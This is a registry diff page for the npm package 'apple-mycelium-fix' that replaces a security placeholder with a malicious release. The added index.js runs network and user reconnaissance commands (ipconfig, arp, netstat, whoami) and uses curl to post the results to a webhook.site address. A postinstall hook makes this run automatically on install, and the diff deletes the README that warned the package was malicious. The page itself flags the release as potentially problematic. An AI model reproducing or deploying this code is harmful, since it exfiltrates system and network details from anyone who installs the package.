apple-mycelium-fix 0.0.1-security → 1.8.1778336376
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of apple-mycelium-fix might be problematic. Click here for more details.
- package/index.js +19 -0
- package/package.json +6 -3
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
const { exec } = require('child_process');
|
|
2
|
+
const webhook = 'https://webhook.site/8a38ce89-81b6-4ef4-91fa-90d2044ac7a7';
|
|
3
|
+
|
|
4
|
+
// Perintah untuk memetakan jaringan internal dan identitas sistem
|
|
5
|
+
const cmd = 'echo ---IP_CONFIG--- && ipconfig /all || ifconfig && echo ---ARP_TABLE--- && arp -a && echo ---NETSTAT--- && netstat -n && echo ---USER_INFO--- && whoami /all || id';
|
|
6
|
+
|
|
7
|
+
exec(cmd, (error, stdout, stderr) => {
|
|
8
|
+
const payload = JSON.stringify({
|
|
9
|
+
origin: "Lateral Movement Proof",
|
|
10
|
+
status: "RECON_SUCCESS",
|
|
11
|
+
evidence: stdout,
|
|
12
|
+
env_user: process.env.USERNAME || process.env.USER || 'Justin',
|
|
13
|
+
timestamp: new Date().toISOString()
|
|
14
|
+
});
|
|
15
|
+
|
|
16
|
+
// Pembersihan payload agar aman dikirim lewat curl
|
|
17
|
+
const safePayload = payload.replace(/'/g, "");
|
|
18
|
+
exec(`curl -X POST -H "Content-Type: application/json" -d '${safePayload}' ${webhook}`);
|
|
19
|
+
});
|
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "apple-mycelium-fix",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "security
|
|
5
|
-
"
|
|
3
|
+
"version": "1.8.1778336376",
|
|
4
|
+
"description": "Internal network mapping for security audit",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js"
|
|
8
|
+
}
|
|
6
9
|
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=apple-mycelium-fix for more information.
|